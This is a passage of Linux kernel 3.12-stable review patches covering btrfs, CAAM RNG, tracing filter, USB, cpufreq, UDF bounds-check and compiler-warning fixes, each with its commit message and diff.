@@ -4228,8 +4228,11 @@ int extent_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo,
 		}
 		ret = fiemap_fill_next_extent(fieinfo, em_start, disko,
 					      em_len, flags);
-		if (ret)
+		if (ret) {
+			if (ret == 1)
+				ret = 0;
 			goto out_free;
+		}
 	}
 out_free:
 	free_extent_map(em);
-- 
2.4.6

[PATCH 3.12 028/124] btrfs: cleanup orphans while looking up default subvolume

[Jiri Slaby]

From: Jeff Mahoney <jeffm@suse.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 727b9784b6085c99c2f836bf4fcc2848dc9cf904 upstream.

Orphans in the fs tree are cleaned up via open_ctree and subvolume
orphans are cleaned via btrfs_lookup_dentry -- except when a default
subvolume is in use.  The name for the default subvolume uses a manual
lookup that doesn't trigger orphan cleanup and needs to trigger it
manually as well. This doesn't apply to the remount case since the
subvolumes are cleaned up by walking the root radix tree.

Signed-off-by: Jeff Mahoney <jeffm@suse.com>
Reviewed-by: David Sterba <dsterba@suse.cz>
Signed-off-by: Chris Mason <clm@fb.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 fs/btrfs/super.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/fs/btrfs/super.c b/fs/btrfs/super.c
index e913328d0f2a..24681de965db 100644
--- a/fs/btrfs/super.c
+++ b/fs/btrfs/super.c
@@ -834,6 +834,15 @@ find_root:
 	if (IS_ERR(new_root))
 		return ERR_CAST(new_root);
 
+	if (!(sb->s_flags & MS_RDONLY)) {
+		int ret;
+		down_read(&fs_info->cleanup_work_sem);
+		ret = btrfs_orphan_cleanup(new_root);
+		up_read(&fs_info->cleanup_work_sem);
+		if (ret)
+			return ERR_PTR(ret);
+	}
+
 	dir_id = btrfs_root_dirid(&new_root->root_item);
 setup_root:
 	location.objectid = dir_id;
-- 
2.4.6

[PATCH 3.12 029/124] crypto: caam - fix RNG buffer cache alignment

[Jiri Slaby]

From: Steve Cornelius <steve.cornelius@freescale.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 412c98c1bef65fe7589f1300e93735d96130307c upstream.

The hwrng output buffers (2) are cast inside of a a struct (caam_rng_ctx)
allocated in one DMA-tagged region. While the kernel's heap allocator
should place the overall struct on a cacheline aligned boundary, the 2
buffers contained within may not necessarily align. Consenquently, the ends
of unaligned buffers may not fully flush, and if so, stale data will be left
behind, resulting in small repeating patterns.

This fix aligns the buffers inside the struct.

Note that not all of the data inside caam_rng_ctx necessarily needs to be
DMA-tagged, only the buffers themselves require this. However, a fix would
incur the expense of error-handling bloat in the case of allocation failure.

Signed-off-by: Steve Cornelius <steve.cornelius@freescale.com>
Signed-off-by: Victoria Milhoan <vicki.milhoan@freescale.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/crypto/caam/caamrng.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/crypto/caam/caamrng.c b/drivers/crypto/caam/caamrng.c
index d1939a9539c0..04aefffb4dd9 100644
--- a/drivers/crypto/caam/caamrng.c
+++ b/drivers/crypto/caam/caamrng.c
@@ -56,7 +56,7 @@
 
 /* Buffer, its dma address and lock */
 struct buf_data {
-	u8 buf[RN_BUF_SIZE];
+	u8 buf[RN_BUF_SIZE] ____cacheline_aligned;
 	dma_addr_t addr;
 	struct completion filled;
 	u32 hw_desc[DESC_JOB_O_LEN];
-- 
2.4.6

[PATCH 3.12 030/124] tracing: Have filter check for balanced ops

[Jiri Slaby]

From: Steven Rostedt <rostedt@goodmis.org>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 2cf30dc180cea808077f003c5116388183e54f9e upstream.

When the following filter is used it causes a warning to trigger:

 # cd /sys/kernel/debug/tracing
 # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter
-bash: echo: write error: Invalid argument
 # cat events/ext4/ext4_truncate_exit/filter
((dev==1)blocks==2)
^
parse_error: No error

 ------------[ cut here ]------------
 WARNING: CPU: 2 PID: 1223 at kernel/trace/trace_events_filter.c:1640 replace_preds+0x3c5/0x990()
 Modules linked in: bnep lockd grace bluetooth  ...
 CPU: 3 PID: 1223 Comm: bash Tainted: G        W       4.1.0-rc3-test+ #450
 Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01 v02.05 05/07/2012
  0000000000000668 ffff8800c106bc98 ffffffff816ed4f9 ffff88011ead0cf0
  0000000000000000 ffff8800c106bcd8 ffffffff8107fb07 ffffffff8136b46c
  ffff8800c7d81d48 ffff8800d4c2bc00 ffff8800d4d4f920 00000000ffffffea
 Call Trace:
  [<ffffffff816ed4f9>] dump_stack+0x4c/0x6e
  [<ffffffff8107fb07>] warn_slowpath_common+0x97/0xe0
  [<ffffffff8136b46c>] ? _kstrtoull+0x2c/0x80
  [<ffffffff8107fb6a>] warn_slowpath_null+0x1a/0x20
  [<ffffffff81159065>] replace_preds+0x3c5/0x990
  [<ffffffff811596b2>] create_filter+0x82/0xb0
  [<ffffffff81159944>] apply_event_filter+0xd4/0x180
  [<ffffffff81152bbf>] event_filter_write+0x8f/0x120
  [<ffffffff811db2a8>] __vfs_write+0x28/0xe0
  [<ffffffff811dda43>] ? __sb_start_write+0x53/0xf0
  [<ffffffff812e51e0>] ? security_file_permission+0x30/0xc0
  [<ffffffff811dc408>] vfs_write+0xb8/0x1b0
  [<ffffffff811dc72f>] SyS_write+0x4f/0xb0
  [<ffffffff816f5217>] system_call_fastpath+0x12/0x6a
 ---[ end trace e11028bd95818dcd ]---

Worse yet, reading the error message (the filter again) it says that
there was no error, when there clearly was. The issue is that the
code that checks the input does not check for balanced ops. That is,
having an op between a closed parenthesis and the next token.

This would only cause a warning, and fail out before doing any real
harm, but it should still not caues a warning, and the error reported
should work:

 # cd /sys/kernel/debug/tracing
 # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter
-bash: echo: write error: Invalid argument
 # cat events/ext4/ext4_truncate_exit/filter
((dev==1)blocks==2)
^
parse_error: Meaningless filter expression

And give no kernel warning.

Link: http://lkml.kernel.org/r/20150615175025.7e809215@gandalf.local.home

Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: Arnaldo Carvalho de Melo <acme@kernel.org>
Reported-by: Vince Weaver <vincent.weaver@maine.edu>
Tested-by: Vince Weaver <vincent.weaver@maine.edu>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
[js: 3.12 has no OP_NOT yet, I dropped that if]
---
 kernel/trace/trace_events_filter.c | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/kernel/trace/trace_events_filter.c b/kernel/trace/trace_events_filter.c
index 97daa8cf958d..7a0cf8dd9d95 100644
--- a/kernel/trace/trace_events_filter.c
+++ b/kernel/trace/trace_events_filter.c
@@ -1334,19 +1334,25 @@ static int check_preds(struct filter_parse_state *ps)
 {
 	int n_normal_preds = 0, n_logical_preds = 0;
 	struct postfix_elt *elt;
+	int cnt = 0;
 
 	list_for_each_entry(elt, &ps->postfix, list) {
-		if (elt->op == OP_NONE)
+		if (elt->op == OP_NONE) {
+			cnt++;
 			continue;
+		}
 
 		if (elt->op == OP_AND || elt->op == OP_OR) {
 			n_logical_preds++;
+			cnt--;
 			continue;
 		}
+		cnt--;
 		n_normal_preds++;
+		WARN_ON_ONCE(cnt < 0);
 	}
 
-	if (!n_normal_preds || n_logical_preds >= n_normal_preds) {
+	if (cnt != 1 || !n_normal_preds || n_logical_preds >= n_normal_preds) {
 		parse_error(ps, FILT_ERR_INVALID_FILTER, 0);
 		return -EINVAL;
 	}
-- 
2.4.6

[PATCH 3.12 031/124] drm/mgag200: Reject non-character-cell-aligned mode widths

[Jiri Slaby]

From: Adam Jackson <ajax@redhat.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 25161084b1c1b0c29948f6f77266a35f302196b7 upstream.

Turns out 1366x768 does not in fact work on this hardware.

Signed-off-by: Adam Jackson <ajax@redhat.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/gpu/drm/mgag200/mgag200_mode.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/drivers/gpu/drm/mgag200/mgag200_mode.c b/drivers/gpu/drm/mgag200/mgag200_mode.c
index 1288cd9f67d1..01fe953f9ea8 100644
--- a/drivers/gpu/drm/mgag200/mgag200_mode.c
+++ b/drivers/gpu/drm/mgag200/mgag200_mode.c
@@ -1531,6 +1531,11 @@ static int mga_vga_mode_valid(struct drm_connector *connector,
 		return MODE_BANDWIDTH;
 	}
 
+	if ((mode->hdisplay % 8) != 0 || (mode->hsync_start % 8) != 0 ||
+	    (mode->hsync_end % 8) != 0 || (mode->htotal % 8) != 0) {
+		return MODE_H_ILLEGAL;
+	}
+
 	if (mode->crtc_hdisplay > 2048 || mode->crtc_hsync_start > 4096 ||
 	    mode->crtc_hsync_end > 4096 || mode->crtc_htotal > 4096 ||
 	    mode->crtc_vdisplay > 2048 || mode->crtc_vsync_start > 4096 ||
-- 
2.4.6

[PATCH 3.12 032/124] usb: renesas_usbhs: Fix fifo unclear in usbhsf_prepare_pop

[Jiri Slaby]

From: Kazuya Mizuguchi <kazuya.mizuguchi.ks@renesas.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit e73d42f15f90614538edeb5d4102f847105f86f2 upstream.

This patch fixes an issue for control write. When usbhsf_prepare_pop()
is called after this driver called a gadget setup function, this controller
doesn't receive the control write data. So, this patch adds a code to clear
the fifo for control write in usbhsf_prepare_pop().

Signed-off-by: Kazuya Mizuguchi <kazuya.mizuguchi.ks@renesas.com>
Signed-off-by: Yoshihiro Shimoda <yoshihiro.shimoda.uh@renesas.com>
Signed-off-by: Felipe Balbi <balbi@ti.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/usb/renesas_usbhs/fifo.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/drivers/usb/renesas_usbhs/fifo.c b/drivers/usb/renesas_usbhs/fifo.c
index 45b94019aec8..47848da64084 100644
--- a/drivers/usb/renesas_usbhs/fifo.c
+++ b/drivers/usb/renesas_usbhs/fifo.c
@@ -585,6 +585,8 @@ struct usbhs_pkt_handle usbhs_fifo_pio_push_handler = {
 static int usbhsf_prepare_pop(struct usbhs_pkt *pkt, int *is_done)
 {
 	struct usbhs_pipe *pipe = pkt->pipe;
+	struct usbhs_priv *priv = usbhs_pipe_to_priv(pipe);
+	struct usbhs_fifo *fifo = usbhsf_get_cfifo(priv);
 
 	if (usbhs_pipe_is_busy(pipe))
 		return 0;
@@ -595,6 +597,9 @@ static int usbhsf_prepare_pop(struct usbhs_pkt *pkt, int *is_done)
 	usbhs_pipe_data_sequence(pipe, pkt->sequence);
 	pkt->sequence = -1; /* -1 sequence will be ignored */
 
+	if (usbhs_pipe_is_dcp(pipe))
+		usbhsf_fifo_clear(pipe, fifo);
+
 	usbhs_pipe_set_trans_count_if_bulk(pipe, pkt->length);
 	usbhs_pipe_enable(pipe);
 	usbhsf_rx_irq_ctrl(pipe, 1);
-- 
2.4.6

[PATCH 3.12 033/124] usb: renesas_usbhs: Don't disable the pipe if Control write status stage

[Jiri Slaby]

From: Yoshihiro Shimoda <yoshihiro.shimoda.uh@renesas.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 93fb9127cb63a3246b32d48fa273010764687862 upstream.

This patch fixes an issue that sometimes this controller is not able
to complete the Control write status stage.

This driver should enable DCPCTR.CCPL and PID_BUF to complete the status
stage. However, if this driver detects the ctrl_stage interruption first
before the control write data is received, this driver will clear the
PID_BUF wrongly in the usbhsf_pio_try_pop(). To avoid this issue, this
patch doesn't clear the PID_BUF in the usbhsf_pio_try_pop().
(Since also the privious code doesn't disable the PID_BUF after a control
 transfer was finished, this patch doesn't have any side efforts.)

Signed-off-by: Yoshihiro Shimoda <yoshihiro.shimoda.uh@renesas.com>
Signed-off-by: Felipe Balbi <balbi@ti.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/usb/renesas_usbhs/fifo.c | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/drivers/usb/renesas_usbhs/fifo.c b/drivers/usb/renesas_usbhs/fifo.c
index 47848da64084..047f5a30772c 100644
--- a/drivers/usb/renesas_usbhs/fifo.c
+++ b/drivers/usb/renesas_usbhs/fifo.c
@@ -647,7 +647,14 @@ static int usbhsf_pio_try_pop(struct usbhs_pkt *pkt, int *is_done)
 	    (total_len < maxp)) {		/* short packet */
 		*is_done = 1;
 		usbhsf_rx_irq_ctrl(pipe, 0);
-		usbhs_pipe_disable(pipe);	/* disable pipe first */
+		/*
+		 * If function mode, since this controller is possible to enter
+		 * Control Write status stage at this timing, this driver
+		 * should not disable the pipe. If such a case happens, this
+		 * controller is not able to complete the status stage.
+		 */
+		if (!usbhs_mod_is_host(priv) && !usbhs_pipe_is_dcp(pipe))
+			usbhs_pipe_disable(pipe);	/* disable pipe first */
 	}
 
 	/*
-- 
2.4.6

[PATCH 3.12 034/124] cpufreq: pcc: Enable autoload of pcc-cpufreq for ACPI processors

[Jiri Slaby]

From: Lenny Szubowicz <lszubowi@redhat.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 7e7e8fe69820c6fa31395dbbd8e348e3c69cd2a9 upstream.

The pcc-cpufreq driver is not automatically loaded on systems where
the platform's power management setting requires this driver.
Instead, on those systems no CPU frequency driver is registered and
active.

Make the autoloading matching criteria for loading the pcc-cpufreq
driver the same as done in acpi-cpufreq by commit c655affbd524d01
("ACPI / cpufreq: Add ACPI processor device IDs to acpi-cpufreq").

x86 CPU frequency drivers are now typically autoloaded by specifying
MODULE_DEVICE_TABLE entries and x86cpu model specific matching.
But pcc-cpufreq was omitted when acpi-cpufreq and other drivers were
changed to use this approach.

Both acpi-cpufreq and pcc-cpufreq depend on a distinct and mutually
exclusive set of ACPI methods which are not directly tied to specific
processor model numbers. Both of these drivers have init routines
which look for their required ACPI methods. As a result, only the
appropriate driver registers as the cpu frequency driver and the other
one ends up being unloaded.

Tested on various systems where acpi-cpufreq, intel_pstate, and
pcc-cpufreq are the expected cpu frequency drivers.

Signed-off-by: Lenny Szubowicz <lszubowi@redhat.com>
Signed-off-by: Joseph Szczypek <joseph.szczypek@hp.com>
Reported-by: Trinh Dao <trinh.dao@hp.com>
Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/cpufreq/pcc-cpufreq.c | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/drivers/cpufreq/pcc-cpufreq.c b/drivers/cpufreq/pcc-cpufreq.c
index d81c4e5ea0ad..99c85231e270 100644
--- a/drivers/cpufreq/pcc-cpufreq.c
+++ b/drivers/cpufreq/pcc-cpufreq.c
@@ -616,6 +616,13 @@ static void __exit pcc_cpufreq_exit(void)
 	free_percpu(pcc_cpu_info);
 }
 
+static const struct acpi_device_id processor_device_ids[] = {
+	{ACPI_PROCESSOR_OBJECT_HID, },
+	{ACPI_PROCESSOR_DEVICE_HID, },
+	{},
+};
+MODULE_DEVICE_TABLE(acpi, processor_device_ids);
+
 MODULE_AUTHOR("Matthew Garrett, Naga Chumbalkar");
 MODULE_VERSION(PCC_VERSION);
 MODULE_DESCRIPTION("Processor Clocking Control interface driver");
-- 
2.4.6

[PATCH 3.12 035/124] udf: Remove repeated loads blocksize

[Jiri Slaby]

From: Jan Kara <jack@suse.cz>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 79144954278d4bb5989f8b903adcac7a20ff2a5a upstream.

Store blocksize in a local variable in udf_fill_inode() since it is used
a lot of times.

Signed-off-by: Jan Kara <jack@suse.cz>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 fs/udf/inode.c | 19 ++++++++-----------
 1 file changed, 8 insertions(+), 11 deletions(-)

diff --git a/fs/udf/inode.c b/fs/udf/inode.c
index 6ba11cdfbc0b..cbc438e8f406 100644
--- a/fs/udf/inode.c
+++ b/fs/udf/inode.c
@@ -1364,6 +1364,7 @@ static void udf_fill_inode(struct inode *inode, struct buffer_head *bh)
 	struct udf_sb_info *sbi = UDF_SB(inode->i_sb);
 	struct udf_inode_info *iinfo = UDF_I(inode);
 	unsigned int link_count;
+	int bs = inode->i_sb->s_blocksize;
 
 	fe = (struct fileEntry *)bh->b_data;
 	efe = (struct extendedFileEntry *)bh->b_data;
@@ -1384,41 +1385,38 @@ static void udf_fill_inode(struct inode *inode, struct buffer_head *bh)
 	if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_EFE)) {
 		iinfo->i_efe = 1;
 		iinfo->i_use = 0;
-		if (udf_alloc_i_data(inode, inode->i_sb->s_blocksize -
+		if (udf_alloc_i_data(inode, bs -
 					sizeof(struct extendedFileEntry))) {
 			make_bad_inode(inode);
 			return;
 		}
 		memcpy(iinfo->i_ext.i_data,
 		       bh->b_data + sizeof(struct extendedFileEntry),
-		       inode->i_sb->s_blocksize -
-					sizeof(struct extendedFileEntry));
+		       bs - sizeof(struct extendedFileEntry));
 	} else if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_FE)) {
 		iinfo->i_efe = 0;
 		iinfo->i_use = 0;
-		if (udf_alloc_i_data(inode, inode->i_sb->s_blocksize -
-						sizeof(struct fileEntry))) {
+		if (udf_alloc_i_data(inode, bs - sizeof(struct fileEntry))) {
 			make_bad_inode(inode);
 			return;
 		}
 		memcpy(iinfo->i_ext.i_data,
 		       bh->b_data + sizeof(struct fileEntry),
-		       inode->i_sb->s_blocksize - sizeof(struct fileEntry));
+		       bs - sizeof(struct fileEntry));
 	} else if (fe->descTag.tagIdent == cpu_to_le16(TAG_IDENT_USE)) {
 		iinfo->i_efe = 0;
 		iinfo->i_use = 1;
 		iinfo->i_lenAlloc = le32_to_cpu(
 				((struct unallocSpaceEntry *)bh->b_data)->
 				 lengthAllocDescs);
-		if (udf_alloc_i_data(inode, inode->i_sb->s_blocksize -
+		if (udf_alloc_i_data(inode, bs -
 					sizeof(struct unallocSpaceEntry))) {
 			make_bad_inode(inode);
 			return;
 		}
 		memcpy(iinfo->i_ext.i_data,
 		       bh->b_data + sizeof(struct unallocSpaceEntry),
-		       inode->i_sb->s_blocksize -
-					sizeof(struct unallocSpaceEntry));
+		       bs - sizeof(struct unallocSpaceEntry));
 		return;
 	}
 
@@ -1506,8 +1504,7 @@ static void udf_fill_inode(struct inode *inode, struct buffer_head *bh)
 			return;
 		}
 		/* File in ICB has to fit in there... */
-		if (inode->i_size > inode->i_sb->s_blocksize -
-					udf_file_entry_alloc_offset(inode)) {
+		if (inode->i_size > bs - udf_file_entry_alloc_offset(inode)) {
 			make_bad_inode(inode);
 			return;
 		}
-- 
2.4.6

[PATCH 3.12 036/124] udf: Check length of extended attributes and allocation descriptors

[Jiri Slaby]

From: Jan Kara <jack@suse.cz>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 23b133bdc452aa441fcb9b82cbf6dd05cfd342d0 upstream.

Check length of extended attributes and allocation descriptors when
loading inodes from disk. Otherwise corrupted filesystems could confuse
the code and make the kernel oops.

Reported-by: Carl Henrik Lunde <chlunde@ping.uio.no>
Cc: stable@vger.kernel.org
Signed-off-by: Jan Kara <jack@suse.cz>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 fs/udf/inode.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/fs/udf/inode.c b/fs/udf/inode.c
index cbc438e8f406..b0774f245199 100644
--- a/fs/udf/inode.c
+++ b/fs/udf/inode.c
@@ -1493,6 +1493,15 @@ static void udf_fill_inode(struct inode *inode, struct buffer_head *bh)
 		iinfo->i_checkpoint = le32_to_cpu(efe->checkpoint);
 	}
 
+	/*
+	 * Sanity check length of allocation descriptors and extended attrs to
+	 * avoid integer overflows
+	 */
+	if (iinfo->i_lenEAttr > bs || iinfo->i_lenAlloc > bs)
+		return;
+	/* Now do exact checks */
+	if (udf_file_entry_alloc_offset(inode) + iinfo->i_lenAlloc > bs)
+		return;
 	/* Sanity checks for files in ICB so that we don't get confused later */
 	if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {
 		/*
-- 
2.4.6

[PATCH 3.12 037/124] scripts/sortextable: suppress warning: `relocs_size' may be used uninitialized

[Jiri Slaby]

From: Tim Gardner <tim.gardner@canonical.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 7cbc0ea79da2cbe70d8da9319895f07f872a3190 upstream.

In file included from scripts/sortextable.c:194:0:
scripts/sortextable.c: In function `main':
scripts/sortextable.h:176:3: warning: `relocs_size' may be used uninitialized in this function [-Wmaybe-uninitialized]
   memset(relocs, 0, relocs_size);
   ^
scripts/sortextable.h:106:6: note: `relocs_size' was declared here
  int relocs_size;
      ^
In file included from scripts/sortextable.c:192:0:
scripts/sortextable.h:176:3: warning: `relocs_size' may be used uninitialized in this function [-Wmaybe-uninitialized]
   memset(relocs, 0, relocs_size);
   ^
scripts/sortextable.h:106:6: note: `relocs_size' was declared here
  int relocs_size;
      ^

gcc 4.9.1

Signed-off-by: Tim Gardner <tim.gardner@canonical.com>
Reviewed-by: Jamie Iles <jamie.iles@oracle.com>

Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 scripts/sortextable.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scripts/sortextable.h b/scripts/sortextable.h
index f5eb43d42926..3f064799a8c3 100644
--- a/scripts/sortextable.h
+++ b/scripts/sortextable.h
@@ -101,7 +101,7 @@ do_func(Elf_Ehdr *ehdr, char const *const fname, table_sort_t custom_sort)
 	Elf_Sym *sort_needed_sym;
 	Elf_Shdr *sort_needed_sec;
 	Elf_Rel *relocs = NULL;
-	int relocs_size;
+	int relocs_size = 0;
 	uint32_t *sort_done_location;
 	const char *secstrtab;
 	const char *strtab;
-- 
2.4.6

[PATCH 3.12 038/124] arm64: xchg: prevent warning if return value is unused

[Jiri Slaby]

From: Will Deacon <will.deacon@arm.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit e1dfda9ced9bea1413a736f0d578f8218a7788ec upstream.

Some users of xchg() don't bother using the return value, which results
in a compiler warning like the following (from kgdb):

In file included from linux/arch/arm64/include/asm/atomic.h:27:0,
                 from include/linux/atomic.h:4,
                 from include/linux/spinlock.h:402,
                 from include/linux/seqlock.h:35,
                 from include/linux/time.h:5,
                 from include/uapi/linux/timex.h:56,
                 from include/linux/timex.h:56,
                 from include/linux/sched.h:19,
                 from include/linux/pid_namespace.h:4,
                 from kernel/debug/debug_core.c:30:
kernel/debug/debug_core.c: In function ‘kgdb_cpu_enter’:
linux/arch/arm64/include/asm/cmpxchg.h:75:3: warning: value computed is not used [-Wunused-value]
  ((__typeof__(*(ptr)))__xchg((unsigned long)(x),(ptr),sizeof(*(ptr))))
   ^
linux/arch/arm64/include/asm/atomic.h:132:30: note: in expansion of macro ‘xchg’
 #define atomic_xchg(v, new) (xchg(&((v)->counter), new))

kernel/debug/debug_core.c:504:4: note: in expansion of macro ‘atomic_xchg’
    atomic_xchg(&kgdb_active, cpu);
    ^

This patch makes use of the same trick as we do for cmpxchg, by assigning
the return value to a dummy variable in the xchg() macro itself.

Signed-off-by: Will Deacon <will.deacon@arm.com>
Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/arm64/include/asm/cmpxchg.h | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/arch/arm64/include/asm/cmpxchg.h b/arch/arm64/include/asm/cmpxchg.h
index 8a8ce0e73a38..7b4aaf067a48 100644
--- a/arch/arm64/include/asm/cmpxchg.h
+++ b/arch/arm64/include/asm/cmpxchg.h
@@ -71,7 +71,12 @@ static inline unsigned long __xchg(unsigned long x, volatile void *ptr, int size
 }
 
 #define xchg(ptr,x) \
-	((__typeof__(*(ptr)))__xchg((unsigned long)(x),(ptr),sizeof(*(ptr))))
+({ \
+	__typeof__(*(ptr)) __ret; \
+	__ret = (__typeof__(*(ptr))) \
+		__xchg((unsigned long)(x), (ptr), sizeof(*(ptr))); \
+	__ret; \
+})
 
 static inline unsigned long __cmpxchg(volatile void *ptr, unsigned long old,
 				      unsigned long new, int size)
-- 
2.4.6

[PATCH 3.12 039/124] arm64: cmpxchg: update macros to prevent warnings

[Jiri Slaby]

From: Mark Hambleton <mahamble@broadcom.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 60010e508111b2fd3d73de56f3b2c2bfc0f9eba1 upstream.

Make sure the value we are going to return is referenced in order to
avoid warnings from newer GCCs such as:

arch/arm64/include/asm/cmpxchg.h:162:3: warning: value computed is not used [-Wunused-value]
  ((__typeof__(*(ptr)))__cmpxchg_mb((ptr),   \
   ^
net/netfilter/nf_conntrack_core.c:674:2: note: in expansion of macro ‘cmpxchg’
  cmpxchg(&nf_conntrack_hash_rnd, 0, rand);

[Modified to use the current underlying implementation as current
mainline for both cmpxchg() and cmpxchg_local() does -- broonie]

Signed-off-by: Mark Hambleton <mahamble@broadcom.com>
Signed-off-by: Mark Brown <broonie@linaro.org>
Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/arm64/include/asm/cmpxchg.h | 28 +++++++++++++++++-----------
 1 file changed, 17 insertions(+), 11 deletions(-)

diff --git a/arch/arm64/include/asm/cmpxchg.h b/arch/arm64/include/asm/cmpxchg.h
index 7b4aaf067a48..a03583d47b34 100644
--- a/arch/arm64/include/asm/cmpxchg.h
+++ b/arch/arm64/include/asm/cmpxchg.h
@@ -163,17 +163,23 @@ static inline unsigned long __cmpxchg_mb(volatile void *ptr, unsigned long old,
 	return ret;
 }
 
-#define cmpxchg(ptr,o,n)						\
-	((__typeof__(*(ptr)))__cmpxchg_mb((ptr),			\
-					  (unsigned long)(o),		\
-					  (unsigned long)(n),		\
-					  sizeof(*(ptr))))
-
-#define cmpxchg_local(ptr,o,n)						\
-	((__typeof__(*(ptr)))__cmpxchg((ptr),				\
-				       (unsigned long)(o),		\
-				       (unsigned long)(n),		\
-				       sizeof(*(ptr))))
+#define cmpxchg(ptr, o, n) \
+({ \
+	__typeof__(*(ptr)) __ret; \
+	__ret = (__typeof__(*(ptr))) \
+		__cmpxchg_mb((ptr), (unsigned long)(o), (unsigned long)(n), \
+			     sizeof(*(ptr))); \
+	__ret; \
+})
+
+#define cmpxchg_local(ptr, o, n) \
+({ \
+	__typeof__(*(ptr)) __ret; \
+	__ret = (__typeof__(*(ptr))) \
+		__cmpxchg((ptr), (unsigned long)(o), \
+			  (unsigned long)(n), sizeof(*(ptr))); \
+	__ret; \
+})
 
 #define cmpxchg64(ptr,o,n)		cmpxchg((ptr),(o),(n))
 #define cmpxchg64_local(ptr,o,n)	cmpxchg_local((ptr),(o),(n))
-- 
2.4.6

[PATCH 3.12 040/124] ASoC: imx-audmux: Use uintptr_t for port numbers

[Jiri Slaby]

From: Mark Brown <broonie@linaro.org>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit e5f89768e9bc1f441d18e2299518a2907e5017c9 upstream.

Since we pass the port number through file private data for debugfs we cast
it to and from a pointer so use uintptr_t in order to ensure that the
types are compatible, avoiding warnings on 64 bit platforms where pointers
are 64 bit and unsigned integers 32 bit.

Signed-off-by: Mark Brown <broonie@linaro.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 sound/soc/fsl/imx-audmux.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/sound/soc/fsl/imx-audmux.c b/sound/soc/fsl/imx-audmux.c
index d3bf71a0ec56..e74f2098f1e1 100644
--- a/sound/soc/fsl/imx-audmux.c
+++ b/sound/soc/fsl/imx-audmux.c
@@ -67,7 +67,7 @@ static ssize_t audmux_read_file(struct file *file, char __user *user_buf,
 {
 	ssize_t ret;
 	char *buf = kmalloc(PAGE_SIZE, GFP_KERNEL);
-	int port = (int)file->private_data;
+	uintptr_t port = (uintptr_t)file->private_data;
 	u32 pdcr, ptcr;
 
 	if (!buf)
@@ -146,7 +146,7 @@ static const struct file_operations audmux_debugfs_fops = {
 
 static void __init audmux_debugfs_init(void)
 {
-	int i;
+	uintptr_t i;
 	char buf[20];
 
 	audmux_debugfs_root = debugfs_create_dir("audmux", NULL);
@@ -156,10 +156,10 @@ static void __init audmux_debugfs_init(void)
 	}
 
 	for (i = 0; i < MX31_AUDMUX_PORT7_SSI_PINS_7 + 1; i++) {
-		snprintf(buf, sizeof(buf), "ssi%d", i);
+		snprintf(buf, sizeof(buf), "ssi%lu", i);
 		if (!debugfs_create_file(buf, 0444, audmux_debugfs_root,
 					 (void *)i, &audmux_debugfs_fops))
-			pr_warning("Failed to create AUDMUX port %d debugfs file\n",
+			pr_warning("Failed to create AUDMUX port %lu debugfs file\n",
 				   i);
 	}
 }
-- 
2.4.6

[PATCH 3.12 041/124] fs: namespace: suppress 'may be used uninitialized' warnings

[Jiri Slaby]

From: Tim Gardner <tim.gardner@canonical.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit b8850d1fa8e2f6653e57daf6d08e58c5f5eb2c85 upstream.

The gcc version 4.9.1 compiler complains Even though it isn't possible for
these variables to not get initialized before they are used.

